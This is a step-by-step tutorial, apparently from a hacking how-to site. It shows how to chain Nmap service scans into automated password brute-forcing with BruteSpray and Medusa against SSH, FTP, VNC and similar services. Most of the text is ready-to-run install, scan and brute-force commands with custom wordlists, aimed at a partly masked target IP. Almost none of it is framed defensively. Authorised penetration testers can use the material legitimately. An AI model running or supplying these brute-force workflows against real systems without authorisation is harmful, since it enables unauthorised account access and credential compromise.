How To: Automate Brute-Force Attacks for Nmap Scans

Automate Brute-Force Attacks for Nmap Scans

Using Hydra, Ncrack, and other brute-forcing tools to crack passwords for the first time can be frustrating and confusing. To ease into the process, let's discuss automating and optimizing brute-force attacks for potentially vulnerable services such as SMTP, SSH, IMAP, and FTP discovered by Nmap, a popular network scanning utility.

BruteSpray, developed by Jacob Robles and Shane Young, is a Python script capable of processing an Nmap scan output and automating brute-force attacks against discovered services using Medusa, a popular brute-forcing tool. BruteSpray is the much-needed nexus that unifies Nmap scans and brute-force attacks.

Step 1: Set Up BruteSpray & Medusa

An older version of BruteSpray can be found in the Kali repositories. To avoid potential confusion, any version of BruteSpray which may already be installed should be removed using the below apt-get command.

~$ apt-get autoremove brutespray

Next, clone the BruteSpray repository.

~$ git clone https://github.com/x90skysn3k/brutespray.git

Then, cd into the "brutespray" directory and use pip, a tool for installing and managing Python packages, to install the BruteSpray dependencies.

~$ cd brutespray/

The following command is required to run BruteSpray. The -r argument instructs pip to install the dependencies found in the "requirements.txt" file.

~/brutespray$ pip install -r requirements.txt

That's it for downloading BruteSpray and installing dependencies — there are no modifications or configurations required.

Other prerequisites which may be useful for following along with this tutorial are Nmap (of course), a general understanding of how Nmap works, and a simple wordlist for password-guessing attacks. Nmap can be installed and downloaded using the below command, if you don't already have it.

The wordlist I'm using in this guide can be downloaded with the following command. You can, of course, use any wordlist that you want from leaked password databases, other wordlists online, or from custom wordlist-building tools such as Mentalist, CeWL, and Crunch.

Step 2: Generate Nmap Output Files

BruteSpray requires an Nmap output file to function. These files can be created using Nmap's -oX or -oG arguments as seen in the below Nmap command. The -sV means it will probe open ports to determine the service and version information.

Usage of -oG is the most important argument here. It will save the Nmap output to a local file in grepable format. This allows BruteSpray to effectively process the services and ports found on the target server. Similarly, the -oX argument will save the Nmap output to an XML output, which is also supported by BruteSpray but less human-readable.

~/brutespray$ nmap -sVTU -p ports TargetServer -oG filename.gnmap

Here's my example of this command and the output:

~/brutespray$ nmap -sVTU -p21,22,137,161 1X.XXX.XXX.103 -oG tokyoneon.gnmap

Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 1X.XXX.XXX.103
Host is up (0.00018s latency).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds

Make sure to replace "ports" above with the ports you wan to scan, "TargetServer" with the IP address of your target, and "filename" with the name you want to give the file. Once done, the newly created .gnmap file can be viewed using the cat command.

~/brutespray$ cat filename.gnmap

For me, after running my example command:

~/brutespray$ cat tokyoneon.gnmap

# Nmap 7.80 scan initiated Thu Apr 12 18:34:07 2018 as: nmap -sVTU -p21,22,137,161 -oG tokyoneon.gnmap 1X.XXX.XXX.103

# Nmap done at Thu Apr 12 18:35:55 2018 -- 1 IP address (1 host up) scanned in 0.60 seconds

Take note of the "open" ports discovered by Nmap as these services are now available for automated brute-force attacks.

Step 3: Automate Brute-Force Attacks with BruteSpray

BruteSpray currently supports nearly two dozen services by default. The supported services can be viewed using the --modules argument. They include SSH, FTP, Telnet, VNC, MsSQL, MySQL, PostgreSQL, RSH, IMAP, NNTP, pcAnywhere, POP3, rexec, rlogin, SMBNT, SMTP, SVN, vmauthd, and SNMP.

~/brutespray$ ./brutespray.py --modules

1. Interactive Mode

The -i argument can be used to enable an interactive mode, a guided mode designed to maximize the ease of use.

~/brutespray$ ./brutespray.py --file filename.gnmap -i

--------------------------------------------

./brutespray.py --file tokyoneon.gnmap -i

2. Target Individual Services

Targeting a single service can be accomplished using the --service argument and specifying the protocol. If the --username argument isn't specified when using --service, BruteSpray will use the default username list found in the wordlist/ssh/user file. This list of usernames can be modified at any time.

~/brutespray$ ./brutespray.py --file filename.gnmap --service ssh

3. Configure Custom Wordlists & Usernames (Optional)

There are small built-in wordlists and username lists that are automatically used when a particular service is brute-forced. For example, the "password" file, located in the wordlist/ssh/ directory, contains passwords used when brute-forcing SSH services. Each supported service has its own dedicated directory in the wordlist/ directory.

~/brutespray$ ls -F wordlist/

ftp/   mssql/  nntp/        postgres/  rlogin/  smbnt/  ssh/  telnet/   vnc/
imap/  mysql/  pcanywhere/  rexec/     rsh/     smtp/   svn/  vmauthd/

It would be possible to manually change the built-it wordlists using the below cp command to copy over a custom wordlist.

~/brutespray$ cp /path/to/customPasswords.list wordlist/ssh/password

Built-in username lists can also be changed using the below command.

~/brutespray$ cp /path/to/customUser.list wordlist/vnc/user

Alternatively, custom password and usernames lists can be used from command line with the --passlist and --username arguments.

~/brutespray$ ./brutespray.py --file filename.gnmap --username UsernameHere --passlist /path/to/desired/passwords.list --service ftp

./brutespray.py --file tokyoneon.gnmap --passlist /root/to/Desktop/passwords.list --service ftp
